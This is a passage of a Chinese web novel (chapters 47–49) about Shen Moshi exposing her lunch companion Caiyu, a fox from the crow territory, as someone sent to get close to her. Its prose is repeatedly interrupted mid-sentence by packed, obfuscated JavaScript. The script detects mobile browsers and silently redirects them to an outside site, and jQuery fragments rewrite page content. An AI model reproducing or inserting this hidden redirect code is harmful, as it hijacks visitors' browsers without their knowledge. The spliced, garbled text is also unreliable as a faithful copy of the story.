l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14174211|147628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拉芙季雅完全不把钟欢放在眼里,在她看来,这就是小打小闹,说不定还觉得是在陪小孩子玩。 不考虑以上这些,即使两人真的要对着干。 水乐园一个普普通通的娱乐设施,能对一个货真价实的领主和领主副手家独子的选择做出什么有效的干涉啊! 这件事估计陆岭和章鱼都觉得扎手。 沈莫失想到这些,对着彩玉欲言又止,最后只露出一个扭曲的笑来。 “哈哈,你说得对,水乐园真过分啊。” 水乐园真倒霉啊,沈莫失默默为它点了根蜡烛。 “是吧。”虽然对沈莫失的表情很疑惑,不过得到了她认同的彩玉还是很高兴,他回归正题。 “多亏了姐姐的建议,我才没有踩坑,所以姐姐就收下吧,只是一幅画罢了。”他又把画往沈莫失的方向递了递。 沈莫失满脑子复杂的思绪,听完彩玉要感谢她的缘由,再看这幅画,脑子里也没有刚才欣赏的想法了,只剩下可怜的水乐园这么一个印象。 “嗯……谢谢你啊。”她恍恍惚惚地把画收了下来。 见沈莫失终于愿意收下画,彩玉喜形于色,轻快地晃了晃双腿,“姐姐是住在这附近吗?” 仔细地把画收了起来,沈莫失看向眼角眉梢都带着笑意的彩玉,回道:“不算吧,只是很喜欢这个公园,便经常来逛逛。” 彩玉闻言,顿时连连点头,“这确实是个好地方呢。” 沈莫失眼角上翘,“怎么突然问我这个?” “嘿嘿,”彩玉不好意思地晃了晃尾巴,红着脸回道,“我租的公寓就在这附近,我想要是姐姐也在这附近的话,那就能和姐姐多见几面了。” 沈莫失下意识挑起一边的眉毛,在彩玉看过来时,又迅速回到了平时的神色,“见不见的……看缘分吧,不过我觉得我们还蛮有缘的,不是吗?” 她的语调轻快又自然,看似是婉拒了彩玉,却又多了几分亲近之意。 彩玉不知是听懂了沈莫失的意思,还是没听懂,热情地靠近了沈莫失几分,期待地看向她。 “既然我们这么有缘,那姐姐今天有空和我一起吃饭吗?” 他露出几分失落的神色,“上次就想要请姐姐来着的,真是好可惜。” 沈莫失无奈地笑了,“只是怕会麻烦你罢了。” 彩玉闻言惊喜地抬头看向沈莫失,“不麻烦的,那姐姐这次愿意吗?” 他附身倾向沈莫失,微微仰视着她,一副陈恳的姿态。 沈莫失眸光流转,似笑非笑地看着他。 彩玉被她看得有些紧张,鼻尖沁出一层细密的汗珠来。 静静地注视了彩玉片刻后,沈莫失忍俊不禁,打破了这股奇异的氛围。 面对被她的反应怔住了的彩玉,沈莫失轻笑着摆摆手,“下次吧,今天中午我有约了。” 她得回去了解一下最近克拉芙季雅和钟欢之间到底发生了些什么,即使是小打小闹,近期也有些太过频繁了。 “诶——”彩玉的双肩耷拉了下来,之前闪着光一般的蓝眼睛也顿时黯淡了不少,“没关系的,我知道姐姐很忙。” 没等彩玉安慰完自己,沈莫失再次开口了。 “你不问我要联系方式吗?”沈莫失弯着眼看他,“不然下次你要怎么找我呢?再偶遇我一次吗?” 闻言,彩玉的情绪瞬间高昂起来,“要的!” 47.秘密 不得不说,与彩玉相处是一件很令人放松的事情,他总是亲切又不失分寸感,偶尔越界,但从来不会做一些真正让你为难的事情。 和他做朋友的感觉还挺不错的。 沈莫失默默给了他一个五星好评,和他的关系也越来越亲近。 “喂~姐姐,”彩玉轻松又黏糊的语调在那头响起,“我发现了一家新的店哦,距离也不远,姐姐明天有空吗?” 沈莫失仪式感十足地翻看了下日程表,虽然她其实没什么要紧事,但还是仔细看了眼才回答彩玉。 “可以哦,那我们到时候见。” 彩玉现在是她最好的饭搭子,全自动扫描沈莫失周围的美食店铺,还给她安排好所有的琐事,沈莫失基本只需要到场以及A餐费罢了。 在沈莫失明确表示自己只接受AA的付款方式后,彩玉为了把沈莫失约出来,也只能同意她的规则,遗憾地收起了想要请客的打算。 第二日。 沈莫失在侍从的引导下来到一个被绿植隔断的餐位坐下。 整个餐厅的氛围幽静而雅致,这个位置又更添了一份隐私感。 彩玉真是一如既往的靠谱啊。 沈莫失不禁如此感慨了一番,自从彩玉了解她的习惯后,每次都有注意不会踩到她不适的点。 “姐姐!” 沈莫失刚一坐下就听到了彩玉的呼唤声,转头望去,果然看到他一如往常的精致扮相。 彩玉今天穿了身浅蓝色不规则图案的格子衫,微微敞开的领口处隐约露出深灰色的中领内搭。 花样简单又独特的腰带掐出一截柔韧的腰身,腰带上别着的太阳坠饰轻轻摇晃。 下搭宽松的藏蓝色外裤,裤脚被整齐地收束在了鞋内。 看着他打扮得整洁又漂亮地向自己招手的模样,沈莫失不禁唇角微扬。 很明显,对方就连耳朵和尾巴的毛发都仔细打理了一番,显得蓬松又顺滑,当彩玉慢慢走过来时,沈莫失还能隐约闻到他身上浅浅的香氛气息。 这也是沈莫失总是愿意和彩玉出来的原因之一,现在在沈莫失的眼里,他完全就是个香香软软的蜜罐子。 “姐姐今天来得好早啊。”彩玉眉眼带笑地看向沈莫失,将手上提着的帽子随意地搁置在一旁。 “也不过是刚到罢了,”见彩玉还要说些什么,沈莫失忙摆手道,“好了,都多少次了,你还不知道我不爱听这些吗?” 彩玉闻言,忍俊不禁地抿了下唇,掐断了后续的客套话。 餐中。 沈莫失本来正与往常一样,专注于品味美食——彩玉推荐的餐馆都挺合她的口味的。 不过这次她敏锐地察觉到了彩玉与之前不同的沉默。 沈莫失轻轻放下碗碟,用困惑的眼神看向对面的彩玉,成功引起了他的注意力。 他茫然地看着沈莫失,“怎么了吗?今天这家店不合胃口吗?” “这话该我问你吧,”沈莫失轻点桌案,“出什么事了吗?你看着心不在焉的。” 饭搭子心事重重的,沈莫失也没心大到能继续吃得开心。 彩玉微微睁大了眼,被沈莫失戳破后,勉强撑起来的情绪瞬间倒了下去,他蹙眉苦笑道:“其实,我快要回去了。” 回哪里?沈莫失疑惑了一瞬,又迅速反应了过来。 对了,彩玉是乌鸦领的人来着,和他相处的时间久了差点把这点都忘了。 虽然有些不舍得这个难得的五星饭搭子,不过沈莫失也不可能阻止他回家去啊。 “那就回去呗,我记得你的妹妹弟弟们还在等你不是吗?” 沈莫失知道他很关心自己的家人们,调侃他道:“是她们催你了吗?那没玩够也得回去了哦,当哥哥可不容易啊。” 听沈莫失提到妹妹们,彩玉面上的苦笑瞬间被柔和的笑意替代了。 “没有催我,她们倒是希望我多在外头玩几天,不过家里又来了几个新的妹妹弟弟,我想着……总要回去关照一下的。” 在沈莫失看不到的桌下,彩玉微微攥紧了腰间的太阳坠饰,感受着手心传来的尖锐的刺痛感,面上却是一如往常。 沈莫失听了他的话,有些迟疑地问道:“新……来的?” 妹妹弟弟也能用“新来的”这种说法吗? 她试图理解彩玉说的这段奇怪的话,“是妈妈新生了孩子吗?多胞胎?这可不容易啊。” 兽人半兽人们的生育方式偏向人类而非野兽,一般也就一胎,而且生育的难度一点没小,多胞胎可不是简单的容易不容易的问题。 沈莫失露出担忧的表情,“妈妈的身体还好吗?这时候确实不适合在外面玩了。” 听了沈莫失的话,彩玉有些愣神,但很快就明白过来沈莫失这是误会了,失笑跟她解释道。 “不是啦,姐姐你误会了,也怪我没说清楚,我们家情况有些特殊,家人之间并没有血缘关系。” “重组家庭?”沈莫失庆幸了下没有一个妈妈要受多胞胎的苦,再次做出猜测。 彩玉摇了摇头,目光闪烁,笑容显得有些勉强,“也不是,我的妹妹弟弟们都是收养的,她们、她们大多是孤儿。” “这样啊,”沈莫失惊讶地睁大了眼睛,猜测彩玉可能是孤儿院出身之类的,“那你们一定是个大家庭,作为哥哥可就更辛苦了。” 彩玉释然地摇了摇头,笑着说道:“辛苦什么的,比起小时候的日子,现在已经很好了。” 沈莫失敏锐地察觉到这所谓的“小时候的日子”不会是什么很好的回忆,担心戳到他的痛点,并不打算追问这一话题,只是礼貌性地笑了笑。 没想到彩玉在这一点上,反而格外地有倾诉欲。 他平静地向沈莫失诉说。 “家里有不少患有紊乱症的兽人孩子们,这些孩子要么是发作得格外早,要么是症状格外严重的,如果原来的家里无法负担起抑制药品的费用……” 彩玉似是想到了什么,眼神逐渐黯淡下来。 他并没有明说,不过对面的沈莫失还是听明白了他的言外之意,很是配合地露出动容的情态。 既然这些孩子已经成为彩玉的家人了,那肯定就是被原来的家庭抛弃了。 “小时候的我没有能力保护她们。”说到这里,彩玉不得不闭目调整自己的情绪,才不至于在餐桌上失态。 沈莫失默默地等待他恢复过来,好一阵后,才听他语调轻松地往下说。 “不过现在不一样了,”他眼角上扬,眸光明亮地看向沈莫失,“我已经成长到能够护住她们了。” “还有‘救世主’,”彩玉双手交握在胸前,竟显得有几分虔诚之色,“多亏了她,孩子们终于看得到希望了。” “我永远不会忘记她带给我们的恩德的。” 彩玉的目光柔和,定定地看着沈莫失,沈莫失几乎以为他已经知道自己的身份了。 作为“救世主”本人,沈莫失毫不避讳地与彩玉对视,接话道:“所以这就是你这么崇拜她的原因。” 不只是因为担心身为兽人的妹妹弟弟们的未来,更是因为她们现在就已经被紊乱症所困扰。 彩玉的眸光微微下移,避开了与沈莫失的对视,嘴角扯开一抹苦涩的笑意。 “是的,其实我这次来也是希望能和她见一面,希望她能救救我的妹妹弟弟们。” “领主他……对于这种源自驯鹿领的技术十分警惕,有些孩子可能等不到技术推广到乌鸦领的这一天了。” “那你不能带着她们一起来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14183049|147628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 求医吗?即使乌鸦领还未普及到,可驯鹿领内的诊所可是直接对外营业的。” 沈莫失直白地提出质疑,语调显得格外无礼,即使是面对陌生人,沈莫失也很少表现出如此粗鲁的一面。 这对于她们现在的关系而言有些不同寻常,不过这种时刻,两人都没有在意这一点。 难道已经病到无法移动了吗?沈莫失暗自猜测。 虽然面上毫无所动的模样,不过她其实已经在思考,如果这些亟需治疗的孩子真的存在的话,什么帮助才最为合适了。 ——前提是这些孩子真实存在。 沈莫失垂下眼帘,掩饰住了眼底的神思。 彩玉摩挲了下腰间冰冷尖利的挂坠,面对沈莫失的质疑也并不觉得冒犯,神色如常地回答她。 “姐姐对乌鸦领的了解应该不多吧?” 沈莫失挑起一边眉毛,并不否认这一点,她并没有就乌鸦领的事情专门问陆岭要过资料,仅仅了解过一些大众俗知的东西。 比如在乌鸦领内,鸟类的种族较多,地位较高,大家都比较重视颜值,所以美人也很多之类的。 她知道这些内容与实际肯定存在一些出入,不过在真正前往乌鸦领之前,她并没有想要专门了解这一领地真实民情的想法。 毕竟这件事也需要麻烦陆岭和她的下属。 去倒是迟早要去的,沈莫失从没有动摇过要走遍三个领地的想法,她的钥匙还碎着呢。 但是,自她从鬃狮蜥领回来,并捎带回一个名叫克拉芙季雅的大麻烦开始,陆岭和钟鹄的工作量就大大超标了。 出于一些仅剩的良心和对陆岭的情谊,沈莫失接手了部分诊所的工作,不再当个完全的甩手掌柜了。 ——不然她谴责克拉芙季雅都觉得没什么底气。 所以在陆岭从这一阵子的加班里解脱出来之前,她暂时搁置了去乌鸦领的计划。 彩玉露出“不出他所料”的表情,“对于我们这样的人家,未成年是无法轻易离开领地的。” 解释完这一点后,他放柔了嗓音宽慰沈莫失。 “一般人对我们的生活情况也不会很了解的,这不是姐姐的问题。” 领地间唯一合法的通行方式就是列车,而这种方式被牢牢地把控在各个领主的手中,领主确实是有能力阻止彩玉带着年幼的孩子们来求医的。 沈莫失现在是彻底没有享受美食的心情了,彩玉这次请她出来的目的原来在这。 在心底默默叹了口气后,沈莫失斜眼打量着他,从他轻颤着的耳尖看到紧张地绷紧了的身躯。 “恕我冒昧,那些孩子们现在都是你在照顾吗?你们的家长呢?” 即使是孤儿院这一类社会福利机构,也该有院长之类的管理人吧? 沈莫失怎么看,彩玉都只像是二十出头的年纪,即使他有时候是故作幼态,沈莫失也能看出他实际年龄并不算大。 而且他之前还说过,这次他急着回去,是因为来了几个新的孩子,那么是谁在负责接收孩子这件事呢? 大概率是这个管理人吧,但是这个管理人只管着接人,不管孩子的生存问题的吗?反而把这件事交托给彩玉这么个年轻人? 彩玉小幅度地喘息几下,才抿着唇回答,语调显得有几分艰涩。 “孩子们都是我在照顾,至于本家、本家是不会管这些的……” 谈到“本家”时,彩玉的神情明显更低落了,头深深地低垂下去,更多的原因却是不再说。 看着他这幅模样,沈莫失深吸一口气又缓缓吐出,暂时没有说话。 餐桌上的气氛一时陷入沉寂,彩玉的坐姿显得更僵硬了,低着头不敢看沈莫失。 不过沈莫失的想法可能和彩玉所猜测的有所不同。 48.小心乌鸦 仗着彩玉低着头,看不到她的眼神,沈莫失目光玩味地转了一圈,才换上感动的神色。 她迟疑的语调显得十分动容,“彩玉……你。” 听到沈莫失呼唤他的声音,彩玉小心翼翼地抬起头来,微微蹙着眉头,眼尾泛起一圈红晕,上翘的狐狸眼里早已凝聚起了一层晶莹的泪水。 随着他抬头的动作,泪水沿着他莹润的脸庞无声滑落下来。 他咬了咬唇,楚楚可怜地凝视着沈莫失,“姐姐……” 看到他这幅情态,沈莫失的眼神更加柔和,嘴角勾起一抹浅笑,显得越发温柔和煦。 “彩玉,”沈莫失拉长了音调感慨道,“你可真是厉害啊!” 彩玉闻言,一下子愣住了,下意识眨了眨眼,又是一滴饱满的泪水沿着脸颊坠下。 不过与刚才莹莹落泪情况不同,在彩玉愣神的情况下,这一幅画面就显得有些憨态了。 没管彩玉有没有回过神来,沈莫失继续往下感叹道:“你不仅厉害,还聪慧,不仅聪慧,还坚强。” 顶着沈莫失赞赏的目光,彩玉的唇微微颤了下,但又迅速反应过来,摆脱了愣神的状态。 他侧过身拭去了面上的泪痕,转为轻松的语调询问道:“姐姐怎么突然说这这些?” “这怎么能算是突然?”沈莫失一脸真诚的钦佩之色。 “如果不厉害,不聪慧,不坚强,怎么能在照顾好这么多妹妹弟弟的同时,成长为这般靠谱又优秀的大人呢?” 彩玉下意识回头,看向沈莫失的双眼,直直地望进了那双温暖的眼里。 面对沈莫失与预想中不同的反应,他有些难以招架,但只一眨眼的工夫就掩饰住了自己的失态。 “抱歉姐姐,让你见笑了,”彩玉抬手掩面,遮挡住两颊上隐约的红晕,腼腆地向沈莫失致歉。 “之前从来没有人这么夸过我,我一时没反应过来。” “诶——”沈莫失意味深长地叹了声,面上的温柔一如既往,却没有顾忌彩玉害羞的表现,继续问道。 “那别人都是怎么说你的?” 接着手指的遮挡,彩玉从缝隙间偷偷瞥了沈莫失一眼,才吞吞吐吐地回她。 “一般会说,真是可怜的孩子……之类的话吧。” 一个姿容姣好,身世可怜的年轻人,在家长不靠谱的情况下,还需要背负起照顾家里一堆孩子的沉重负担。 任何一个正常人在听闻当事人哭诉了上述的故事后,难免会表示一番同情的吧? 彩玉掩下眸中惊疑的神色,小心翼翼地回答沈莫失的询问。 沈莫失挑眉,勾起了嘴角,“这样啊……” 不过沈莫失向来不算是什么很正常的家伙,猎刀作证,她最是喜欢不按套路出牌了。 于是她笑眯眯地骂道:“那这些人可真讨厌啊。” “姐姐怎么会这么说?”彩玉懵懂地点了点头,清澈灵动的眸子缓缓扫向沈莫失。 在适应了沈莫失的说话方式后,他又回到了游刃有余的姿态。 “为什么这么说?”沈莫失双手交叉,手肘抵在桌面上,漫不经心地将下巴靠在手背上。 她显得十分随意,歪头将一边的脸颊贴在了手背上,眼神上瞟思索着这个问题,“大概是因为……” 话音未落,沈莫失的眼神就如一把利剑般刺向故作懵懂的彩玉,笑容却温柔又包容,一如此前。 “你需要这样的同情吗?” 彩玉嘴角的笑意毫无变化,一言不发地看着沈莫失。 沈莫失也没在意他的反应,笑得眯起了眼,遮住过于锐利的眸光。 “你看。” 她显得越发自在了,甚至夸张地挥舞着手臂,继续解释道:“那些同情别人的人,真的就了解被他们同情的人的生活吗?” 即使彩玉所说的那些故事都是真实的,可是。 “一个有着坚定明确的人生目标,并且自信、踏实地走在进步的道路上,能够自得其乐的人。” 沈莫失看着沉默不语的彩玉,笑容越发张扬肆意。 “如果知道自己在其他人的眼里,只不过是个可怜的小家伙,难道不会感到很奇怪吗?” 彩玉疑惑地抖了抖耳朵,好奇地询问沈莫失,“所以在姐姐的眼里,我是一个……” 他抿了抿唇,随即一字一顿地重复沈莫失的话,“一个有着坚定明确的目标,并且正在自信、踏实地进步着的人吗?” 沈莫失挑眉反问他,“你不是吗?” 彩玉沉默许久,紧紧盯着沈莫失的双眼,像是要从这双真挚的眼中看出她的真实意图一般。 沈莫失好像什么都不知道,什么都没猜到一般,毫不退缩地与彩玉对视着。 甚至在彩玉注视得久了些时,还发出一声疑惑的询问,“嗯?” 彩玉猛地回神,眸光闪了闪,卷翘的睫毛如蝶翼般拍打在眼下。 他缓缓坐直了身体,一切懵懂、焦虑的情绪瞬间从他的身上褪了下去。 在沈莫失平静的注视下,彩玉突然笑得无比灿烂,比以往任何一次微笑都显得松弛而自然。 他抬手掩唇,上翘的狐狸眼眯起,扫向沈莫失,轻声回答她之前的反问,“没错,我是的。” 见他终于露出了狐狸尾巴,沈莫失哼笑一声,上身前倾凑近了他暗示道:“并且你其实很认同我说的话,对吧?” 彩玉知道沈莫失是在暗示他什么。 这次他没有再愣住了,也没有故作懵懂地撇开话题,而是毫不退避地与沈莫失对视。 彩玉的眼神里彻底褪去了伪装出的柔弱,以一种从未在沈莫失面前展现过的锋利姿态,扬眉承认道。 “没错,我也觉得我很厉害。” 看着与最初那个冒失鬼形象截然不同的彩玉,沈莫失反而越发欣赏他了。 虽然表现出一副惹人怜爱的模样,博取人的同情与亲近,不过彩玉可完全不觉得自己可怜。 相反,他说不定很是厌恶那些“可怜”自己的人。 不过巧了,沈莫失想着,她从来不会随便怜悯别人,在她看来,怜悯就像是一种俯视。 只有足够有力量的人才有资格去怜悯,不然要么变成对自己的折磨,要么变成对他人的贬低。 她更愿意平等、尊重地看待每一个人,所以彩玉刻意接近她的举动,在她眼里才如此明显。 既然知道沈莫失已经发现了他的伪装,彩玉也就不再刻意维持柔弱可怜的形象,行为举止越发轻松自在。 情绪平稳下来后,他不再像是刚才那般锋利,却也与最初的形象毫不相关了。 “姐姐是什么时候发现的?”彩玉好奇地询问沈莫失。 “你第二次‘偶遇’我的时候,公园那里。” 沈莫失重新拾起了碗筷,说到“偶遇”时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14192715|147628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,还意味深长地加重了音调。 “我的演技有那么差劲吗?”他显得有些苦恼,手上动作不停地为沈莫失布菜。 倒也不算很差劲吧,不过沈莫失轻哼一声没再回答他。 两人都不是会在这种情况下尴尬的类型,在沈莫失戳穿了彩玉后,两人还能继续之前被打断的午餐。 唯有美食不可辜负啊,沈莫失鼓着嘴感慨道。 看着对面以一种陌生的沉静姿态进食的彩玉,沈莫失不禁好奇地问道。 “难道从来没有人夸过你聪明吗?” “没有,从来没有。” 彩玉嘲讽地提起嘴角,毫不犹豫地回答她,见沈莫失对此感兴趣,他便语气平静地细数那些人对他的评价。 “他们更喜欢夸赞我的柔顺与美貌。” 瞥了眼腰上的太阳挂坠,彩玉歪着头回忆,意兴阑珊地重复那些话,“说我软萌、娇柔、香甜可口……” 越是往下说,彩玉的语气就越是轻蔑,沈莫失的表情也越是嫌恶。 “啧,前面也就算了,香甜可口?这是拿来形容人的话吗?” 沈莫失听得起了一身的鸡皮疙瘩,搓了搓自己的手背,以实际行动表示自己的嫌弃之意。 “对不起啊,恶心到姐姐了吗?”彩玉轻轻蹙眉,显得有些抱歉,不过嘴角还挂着玩味的笑意。 沈莫失乜了他一眼,“这么看来他们真的很嫉妒你的才能啊,也说不定是害怕你,才这么不遗余力地打压你。” 闻言,彩玉微微睁大了眼,然后笑得像是只偷了腥的狐狸一般。 “姐姐……”他语调缱绻地喊道,眼中柔情似水,“我真是越来越喜欢姐姐了。” 说完这句话后,彩玉缓缓起身,“这顿请务必让我请吧,毕竟,这可能是我们最后一次交往了。” 他俏皮地对着沈莫失眨了眨眼,“就当做是我算计了姐姐的歉礼。” 沈莫失挑眉看他,“那我就不客气了,再帮我加一份甜点谢谢,你知道我偏好的口味的,对吧?” 彩玉笑意柔和,微微颔首。 在经过沈莫失的位置时,他俯身凑到了她的耳边,看着像是给了她一个暧昧的告别。 不过只有沈莫失知道,彩玉仅仅是为了给她一个提醒。 “小心乌鸦。” 低声说罢,彩玉红着脸起身,“再会了,姐姐。” 掌心传来轻微的痒意,沈莫失敏锐地攥紧了手心的纸条,斜眼看向他。 彩玉笑得腼腆又羞涩,抬手盖上帽子,如来时一般自然地离开了餐位。 为沈莫失加好了甜点,彩玉心绪复杂地往外走,心不在焉下,差点撞上迎面而来的一人。 他忙避开来人,“抱歉。” 彩玉抬起帽檐,看向身材高大的来人。 当他看清来人的样貌后,眼神顿时凝滞了一瞬,才自然地弯起眉眼,“真是不好意思,是我没看路。” 他的语调轻柔又真诚,听不出一丝破绽,就好像他完全不认识这个人一般。 那人斜睨他一眼,连头都不屑于低一下,自顾自地快步往里去。 看着那人离去的背影,彩玉手掌渐渐收紧,随即不知想到了什么,表情一下子放松下来,径自离去。 里头的沈莫失正惬意地享受她的甜点,听到脚步声才抬起头来,见到来人,她惊讶地喊道。 “你怎么来了?” 49.做客 沈莫失自顾自地吃着甜点,稀奇地询问来人,“我还以为你不会喜欢这样的地方呢?” “啧,”克拉芙季雅嫌弃地四处打量了圈,又看向沈莫失,“我当然不喜欢,也就你会来这种地方了。” 沈莫失喜欢清静些的环境,更偏好清淡的饮食,而克拉芙季雅则正相反,她喜欢热闹,喜欢辛辣的食物。 爱好这种东西每个人不一样多正常啊,沈莫失眯起眼笑了,并不在意她嫌弃的表情。 “那你是来做什么的?总不至于是来躲钟欢妹妹的吧?”沈莫失猜测道。 克拉芙季雅嘴角向下,表情更臭了,“那只连月经都没来过的虎崽?我躲她?你在跟我开玩笑吗?” “嫌弃她你就不要每次都和她玩得那么开心了。” 沈莫失白了她一眼,上次听闻了水乐园的事故后,她就找两人都聊过了。 结果很简单,收效甚微。 后来连钟鹄和章鱼都懒得管这两人的事情了,既然连亲妈和“监护人”都不管了,沈莫失也就干脆眼不见为净当做看不见。 没管沈莫失的白眼,克拉芙季雅自顾自地在她对面的空位上坐下,皱着鼻子把餐具拂到一旁,才恶趣味地看着她道。 “敢和这种人出来,你知道那只狐狸是什么人吗?” 沈莫失扯起嘴角,故作不知,“什么什么人?一个普通的朋友罢了。” “怎么交上的朋友。”克拉芙季雅对“朋友”这个词嗤之以鼻。 “他是个旅客,来驯鹿领旅游的,我们投缘就一起玩几天呗。”沈莫失晃了晃勺子,一副毫不在意她的态度的模样。 “旅游?呵,”克拉芙季雅冷笑道,“我猜是乌鸦那来的旅客吧。” 沈莫失挑眉看她,“怎么?难道他是什么很出名的人吗?居然能被你记住?” 克拉芙季雅撇撇嘴,“可不是什么垃圾都能被我记住的。” 她回忆起门口看到的那人,眉头紧皱,“只不过那只狐狸身上一股子乌鸦的臭味罢了。” “乌鸦那来的能是什么好人。” 克拉芙季雅瞥了沈莫失一眼,想起了她最初伪装的身份。 乌鸦领来了这么多人,她也就看上了沈莫失一个,后来还发现沈莫失是驯鹿领来的,只是装作乌鸦领的鸽子罢了。 这说明了什么? 说明她的想法没错啊! 克拉芙季雅点点头,再次肯定了自己的刻板印象。 “这你都能闻出来?” 沈莫失惊讶地看向克拉芙季雅,她回忆了一番彩玉身上的味道,只能想起各种好闻的香氛气息。 每种香水味道都很合她的喜好。 大概是提前做了她的功课吧,特意选了她可能会喜欢的味道,就像甜品口味一样。 沈莫失又舀一勺甜点送进嘴里,满足地眯起眼。 “真是难得见你这么讨厌一个人。” 要知道克拉芙季雅虽然看着脾气不好,但她其实很少会对哪个人加以明确的厌恶情绪。 可能是因为其他让她看不顺眼的家伙,她一般当场就捏爆了吧。 那些看不顺眼又除不掉的人,陆岭或许勉强可以算一个,但也不至于让她讨厌到这种程度。 克拉芙季雅夸张地露出作呕的表情,“那你是还没和那只垃圾乌鸦打过交道。” 见她这样,沈莫失默默把自己的甜品挪开了些,“没想到还有你都觉得棘手的家伙啊。” 她是不是还得叹一声风水轮流转? 毕竟大部分时候都是克拉芙季雅在给人找事,沈莫失瞄她一眼,暗戳戳腹诽她。 克拉芙季雅不爽地哼了一声,接着突然意识到了什么,紧紧盯着沈莫失,“你怎么一点都不惊讶的样子?” 她觉得自己已经说得很明确了,那只臭狐狸就是乌鸦派来接近她的人,还不知道抱着什么龌龊的目的。 她危险地眯起眼,“嗯?难道你早就知道这一点了?” “陆岭告诉你的?”她不禁猜测道,随即又迅速否定了这一点,“不可能啊,她加班都来不及,怎么可能有时间查这些东西。” 陆岭在加班已经是人尽皆知的事情了是吗。 沈莫失无语到笑出声,“你这个罪魁祸首好歹表现出一点愧疚感啊。” 面对克拉芙季雅怀疑的视线,沈莫失坦然地回她。 “虽然早就有所猜测,不过真正确认也就是你来之前刚发生的事罢了。” “呵,”克拉芙季雅嘲讽地笑道,“怪不得,你明明不喜欢和不熟的人出门,最近却经常和他出来。” 敲了敲甜点杯,沈莫失没忍住想要怼她,“那倒不全是因为怀疑他,一个好的五星饭搭子你知道是多么稀缺的资源吗?” 绝对不鸽,用餐礼仪满分,会配合你的用餐速度,从不质疑你的选择,也不会挑剔你的爱好,在你心情不好的时候还会安慰你。 如果彩玉不和她摊牌,沈莫失或许会一直装聋作哑下去的。 真是太可惜了啊,沈莫失在心里叹了口气。 看着她这幅没出息的样子,克拉芙季雅不屑地“嘁”了一声,甩过去一份资料。 “我查到的信息都在里面了,”点了点厚厚的文件袋,她继续说道,“不管你对他有什么想法,我都劝你别太真情实感的好。” 克拉芙季雅表情严肃地告诫沈莫失,“那只乌鸦手下派出来的人就没几个简单的。” 看着她这幅认真的模样,沈莫失好奇道:“难道你上过当?” 就彩玉的那些套路,她完全想象不出来克拉芙季雅上当的样子。 闻言,克拉芙季雅骄傲地挑眉,“怎么可能?” “那只乌鸦的味道就像发酵了十天的尸体一样明显。”她嫌弃地扇了扇鼻子,继而露出血腥的笑意。 “自从杀了几个,好像还是他的心腹吧,那个老东西就再不敢往我身边放人了。” 怪不得彩玉要远离水乐园,原来还真是因为你啊。 沈莫失扯扯嘴角,对于在餐桌上说恶心话题的克拉芙季雅没有任何的好脸色。 不过她突然灵光一闪,敏锐地扫向一脸恶相的克拉芙季雅,“你来这里……不会是为了来提醒我别上当的吧?” 克拉芙季雅像是被她膈应到了一样,表情难看地辩解,“说什么恶心话呢?” 她转过头去嘴硬道:“只不过是看不惯有人被那只乌鸦耍得团团转罢了。” “不过看你也没有真的上当的样子,”她缓和了表情,上下打量着沈莫失,“呵,果然,那只乌鸦已经老得不成样子了。” “你也不愧是我认可的人。” 克拉芙季雅高昂起下巴,越看越是欣赏她。 沈莫失翻了个白眼,在心里默默吐槽她,什么时候自己变成克拉芙季雅认可的人了? 不过她识趣地没说出口,不然还不知道这家伙要怎么恼羞成怒了。 在别人的店里总是不好随随便便大打出手的,她和克拉芙季雅可不一样。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14200045|147628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>看着她那等着人捧场的表情,沈莫失皮笑肉不笑,毫无情绪地为她鼓起掌来。 “呵呵,那你好棒棒哦。” 算了,随便敷衍她一下好了。 这个幼稚鬼,沈莫失好笑地看着克拉芙季雅的情绪顿时高涨了起来。 …… 沈莫失回忆着那张纸条上的内容,慢悠悠晃荡着搜寻彩玉的住处。 那张纸条上写了,如果沈莫失还愿意和他再聊聊的话,可以到以下的地址来找他。 当彩玉应声开门时,沈莫失看着眼前一身居家装扮的彩玉,不禁挑起了眉头。 又是完全不同的一面。 可能是因为在家中,所以他显得更松弛了。 与外出时精致的扮相不同,现在出现在沈莫失眼前的彩玉只一身宽松的黑色内衬,鼻梁上架着一副朴素的半框眼镜,碎发在耳后扎起一个啾啾。 沈莫失还惊奇地发现,他唇角下方居然有颗小痣,此前可能都被彩妆遮住了。 看到门口站着的沈莫失,彩玉愣了愣,才弯眉笑道:“没想到姐姐真的会来。” 他倚着门框转身,示意沈莫失进门,“请进吧,里面是安全的。” 